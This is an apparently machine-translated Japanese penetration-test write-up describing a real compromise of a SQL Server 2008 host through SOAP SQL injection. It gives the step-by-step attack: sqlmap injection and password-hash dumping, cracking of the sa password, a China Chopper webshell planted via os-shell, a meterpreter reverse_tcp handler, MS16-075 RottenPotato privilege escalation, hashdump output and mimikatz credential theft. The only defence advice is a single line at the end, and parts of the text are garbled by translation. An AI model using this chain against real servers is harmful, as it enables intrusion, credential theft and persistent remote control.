実際に成功した侵入プロセスでは、脆弱性の悪用は複数の技術の統合、最新技術の実践であり、この侵入では sqlmap を使用して注入ポイントを確認し、sqlmap を通じて Web シェルを取得し、msf を組み合わせて ms16 を実行します。 -075 権限を昇格し、最終的にターゲット サーバーのシステム権限を取得します。この記事は脆弱性悪用の新たな拡張であり、従来の Nday 特権昇格が失敗した場合、ms16-075 で特権昇格が成功した典型的なケースが msf と組み合わされます。
1.1.1 ソープ インジェクションの脆弱性のスキャン
1. awvs の Web サービス スキャナーを使用して脆弱性をスキャンします。awvs を開いて、スキャンする Web サービス スキャナーを選択します。図に示すように、脆弱性の場合は、1 に示すように、wsdl の URL にターゲット URL アドレスを入力します。asmx?wsdl である必要があることに注意してください。asmx ファイルを含むものもあります。そうでない場合は、たとえば、直接入力できます。 : http://1**.***.***.***:8081/?wsdl。
図 1 SOAP インジェクション脆弱性スキャンの実行
2. SQL ブラインド インジェクションの処理
合格Awvs は、URL アドレスに SQL ブラインド インジェクション (26 か所) があることをスキャンして確認します。awvs で、右側の「http ヘッダーの表示」をクリックし、その内容をテキスト ファイルにコピーし、脆弱なステートメントを同時に処理します。例 例:
赤色のテキスト部分を「-1*」に置き換える必要があります。
3. 完全なヘッダー パッケージには次のコンテンツが含まれています:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction : "http://tempuri.org/ZcpdList"
Content-Length: 716
XX-Requested-With: XMLHttpRequest
Referer: http://1 * *.***.***.***:8081/?wsdl
ホスト: 1**.***.***.***:8081
接続 : キープアライブ
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML、Gecko など) Chrome/41.0 .2228.0 Safari/537.21
受け入れ: */*
< soap-env:body>
:string>
<</soap-env:envelope>
Response
1.1.2 SOAP インジェクション脆弱性の確認
1. sqlmap を使用して SQL インジェクション脆弱性があるかどうかを検出し、前のヘッダーを追加して内容を 1**.***.***.***.txt として保存します。 、sqlmap.py プログラムが配置されているディレクトリにファイルをコピーし、コマンド sqlmap.py -r 1**.***. ***.***.txt を実行し、sqlmap によって要求された情報を確認します。 :
カスタム インジェクション マーカー ('*') がオプション '--data' で見つかりました。処理しますか? [Y/n/q] [color=Red]y[/color ] SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color= Red]y[/color] 図に示すように2、sqlmap は SQL インジェクションの脆弱性が存在することを確認します。データベース サーバーは Windows 2008 R2、データベースのバージョンは SQL Server 2008、SOAP の脆弱性はユニオン クエリです。
図 3 判定用パラメータの自動送信
(2) 現在のデータベースで使用しているユーザーの dba アカウントを取得します。図 4 に示すように、現在のユーザーは sqlmap の dba であり、表示された結果は true です。この結果は、データベースが sa 権限を使用しており、Web シェルが os-shell パラメータを通じて取得できることを示しています。
図 4 それが dba アカウントであるかどうかを判断します
3. sa アカウントのパスワードを取得する
図 5 に示すように、コマンド sqlmap.py -r 1**.***.***.***.txt --password を使用します。 -- バッチは、データベースに接続されているすべてのアカウントに対応するパスワード値を直接取得します。
図 5 sa アカウントのパスワードを取得します
4. sa アカウントのパスワードをクラックする データベース パスワード ハッシュ値は、以前に sqlmap を通じて正常に取得されました:
MS_PolicyEventProcessingLogin## [1]:
パスワード ハッシュ: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTs qlExecutionLogin ## [1]:
パスワード ハッシュ: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
パスワード ハッシュ: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d 2de629 7e28 www.cmd5.com の sa に対応するパスワード値「0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28」をクエリします。復号結果は「qaz123WSX」です。
図 6 復号化された sa パスワード ハッシュ値
1.1.3 --os-shell1 を介して webshell を取得します。sqlmap で os-shell を取得します。コマンド: sqlmap.py -r 1**.***.***.***.txt --os-shell、sqlmap 実行ウィンドウの情報を確認します:
手動なしで sqlmap.py -r 1**.***.***.***.txt --os-shell --batch コマンドを実行することもできます。入力。
2. Web プログラムが配置されているディレクトリを検索します
(1) ファイルとディレクトリを表示します
dir c:\ コマンドを実行すると、c ファイルとディレクトリを表示できます。ディレクトリとファイルを参照し、図 7 に示すように「 dir c:\inetpub\wwwroot」の表示を続けます。このフォルダには Web プログラムがないため、このディレクトリを除外します。
図 7 ファイルとディレクトリの表示
(2) Web サイトの実際のディレクトリを取得します。c、d、e、f を表示します。図 8 に示すように、e ドライブから疑わしい Web サイトのプログラム ファイルを取得し、コマンド dir e:\software\AMS_NoFlow を使用します。
図 8 Web サイト ファイルの表示
3. Web サイトの実際のディレクトリをテストします
(1)ファイル テストの生成 図 9 に示すように、echo コマンド: echo "thisis test">e:\software\AMS_NoFlow\t.txt を使用して、Web サイトのルート ディレクトリに t.txt ファイルを生成します。内容はthisisテストです。
図 9 生成されたファイル
(2) Web サイトへのアクセステスト
ブラウザにアドレス http:// を入力します1**.***.***.***/1.txt (テスト用)。図 10 に示すように、取得されたコンテンツは期待と一致しています。このディレクトリは Web サイトの実際の物理アドレスです。
図 10 Web サイトへのアクセス テスト
4. web.config 構成ファイルの内容を取得します
OS の場合 - シェルで type e:\software\AMS_NoFlow\web.config コマンドを実行して、web.config ファイルの内容を表示します。sqlmap コマンド ウィンドウでは、設定の問題により、表示できない場合がありますログ ファイルを開くと、sa アカウントに対応するパスワードが qaz123WSX であることがわかります。これは、前にクラックされた sa パスワードと一致しています。 。
図 11 web.config 構成ファイルの内容の表示
5. IP アドレス情報の取得
図のように、12のようにos-shellでipconfigコマンドを実行すると、ターゲットのIPアドレス構成を取得でき、ターゲットには独立した外部ネットワークIPアドレスと内部IPアドレスが設定されています。 os-shell で他のコマンドを実行します。
#(1) シェル ファイルの生成
os-shell でコマンドを実行します:
echo ^^ > e:\software\AMS_NoFlow\cmd.aspx
図 13 に示すように、エコー結果には 1 が表示され、その他の情報は表示されません。これは、ファイル生成コマンドが成功。
図 13 Web シェルの生成
(2) Web シェルの取得 Chinese Chopper バックドア管理ツールを使用してレコード http://1**.***.***.***/cmd.aspx を作成します。バックドアのパスワードは次のとおりです: pass,図14に示すように、接続が成功し、Webシェルが正常に取得されました。
図 14 Web シェルの取得
1.1.4 従来の方法では権限を昇格できませんでした
1. システムの生成情報ファイル os-shell でコマンドを実行します:
#2. Windows-Exploit-Suggester プログラムをダウンロードします Windows-Exploit-Suggester のダウンロード アドレス: https:// github.com/GDSSecurity/Windows-Exploit-Suggester/
3. 脆弱性ライブラリを更新して脆弱性を比較します。Python で windows-exploit-suggester.py -u を実行して、脆弱性ライブラリを更新して比較します: windows -exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt (図 15 を参照)。
図 15 の脆弱性の比較
4. 脆弱性の状況を確認する C:\Python27 で SYD1-0081DSB-day を開きます。プログラムがオペレーティング システムが Windows 2008 R2 バージョンであると判断し、複数の脆弱性が存在することがわかります (最新の脆弱性は ms16-075)。
図 16 脆弱性ステータスの表示
5. 既存の脆弱性に対して権限昇格テストを実行し、脆弱性番号に従ってエクスプロイトを見つけて整理します。 . ファイルに対して、ターゲット サーバーで特権昇格テストを実行します。ms16-075exp を除くすべてのテストは失敗し、特権昇格を実行できません。
1.1.5 msf を使用して ms16-075 権限を昇格する
1. msf を使用してリバウンド トロイの木馬を生成する
msf の下のコマンドを実行します:
windows/meterpreter/reverse_tcp リバウンド ポート タイプ、lhost はリバウンド接続のサーバー IP アドレスです。IP アドレスは独立したサーバーであるか、外部ネットワーク ポート マッピング 変更 つまり、バウンスを受信する必要があり、lport はバウンス ポート、4433 は生成されたプログラムです。
2. リスニング サーバーでリスニング コマンドを実行します
(1) msf
msfconsole
(2) メータープリッターのパラメーターを構成します
3. 4433.exe プログラムをターゲット サーバーにアップロードして実行します
4433.exe ファイルをターゲット サーバーにアップロードして使用します実行用のチャイニーズカラーナイフまたはosシェル。
4. システム情報の表示
図 17 に示すように、ターゲットはリスニング サーバーにバウンスし、sysinfo を実行して、システム情報を取得します。
図 17 システム情報の取得
5. meterpreter の組み込み権限昇格機能の使用の失敗
meterpreter 図 18 に示すように、getuid および getsystem コマンドは、権限を正常に昇格できませんでした。
#6. ms16-075 を使用して権限を昇格させます
(1) ms16-075 は exp を使用してダウンロードできます https://github.com/foxglovesec/RottenPotato
(2) ポテト ファイルをアップロードします
Web シェル経由で Potato.exe ファイルをアップロードします。または msf で次のコマンドを実行してアップロードします。 Upload /root/potato.exe
(3) システム権限を取得し、次のコマンドを順番に実行します。
図 19 に示すように、システム権限が正常に取得されました。
図 19 システム権限トークンの取得
(4) システム権限を取得し、コマンドをそれぞれ実行します。
##図 20 に示すように、システム権限が正常に取得されました。
(5) パスワードの取得
meterpreter でコマンドを実行します。図 21 に示すように、hashdump コマンドを実行すると、サーバー パスワードのハッシュ値が正常に取得されます: Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
#図 23 サーバーへのログイン成功
1.1.6 要約と防御策
1. メイン侵入の目的 コマンド概要
(1) sqlmap実行コマンド
## (2) os-shellでの実行コマンド
ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^^ > e:\software\AMS_NoFlow\cmd.aspx
(3) msf でコマンドを実行し、リバウンド型トロイの木馬を生成します。 :
(4) msf の起動と監視
msfconsoleuseexploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (実際には外部 IP アドレス) set LPORT 4433exploit
(5)ms16-075 権限昇格コマンド
use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\ \SYSTEM"getuid
(6) パスワードを取得します hashdump
(7) mimikatz を実行してパスワードを取得します
load mimikatzkerberos、livesp、msv、ssp、tspkg、wdigest (各コマンドを 1 つずつテストします。一部のコマンドはプレーン テキストのパスワードを表示します) mimikatz_command: mimikatz コマンド プロンプト ウィンドウ
2. 侵入の概要
この侵入では、石鹸注入テストが sqlmap を通じて実行され、 SQL インジェクション ポイントは sqlmap を通じて利用できると判断され、その後の成功は os-shell によって取得された WebShell によって行われました。 Webシェルを取得後、従来のNday方式で権限昇格を試みましたが失敗したため、msfを使用してms16-075と連携して権限昇格を行いました。 Windows-Exploit-Suggester は引き続きローカルの脆弱性を特定してテストすることができ、監査を通じて最新の脆弱性が権限昇格に使用されており、基本的なヒット率は 99% です。
サーバーへの侵入に成功した後、サーバー上にセキュリティ保護ソフトウェアが見つかりませんでした。経験に基づいて、著者は次のセキュリティ防御を推奨します。
(1) SOAP パラメーターをフィルターし、SQL インジェクションにつながる危険なパラメーターをフィルターします。
以上がSQL2008 サーバーに SOAP を注入し、msf と組み合わせて権限を昇格する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。